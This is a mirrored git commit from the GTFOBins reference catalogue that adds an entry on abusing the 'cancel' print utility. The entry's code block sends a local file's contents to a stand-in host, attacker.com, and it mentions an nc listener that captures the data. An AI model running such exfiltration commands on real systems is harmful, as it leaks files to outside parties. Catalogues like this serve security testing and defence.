mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-10-31 08:48:54 +01:00 
			
		
		
		
	
							
								
								
									
										10
									
								
								_gtfobins/cancel.md
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										10
									
								
								_gtfobins/cancel.md
									
									
									
									
									
										Normal file
									
								
							| @@ -0,0 +1,10 @@ | ||||
| --- | ||||
| functions: | ||||
|   file-upload: | ||||
|     - description: Send contents of a file to a TCP port. Run `nc -nlvp $RPORT > "file to save"` on the attacker system to capture the contents. | ||||
|       code: | | ||||
|         RHOST=attacker.com | ||||
|         RPORT=12345 | ||||
|         LFILE=file_to_send | ||||
|         cancel -u "$(cat $LFILE)" -h $RHOST:$RPORT | ||||
| --- | ||||
		Reference in New Issue
	
	Block a user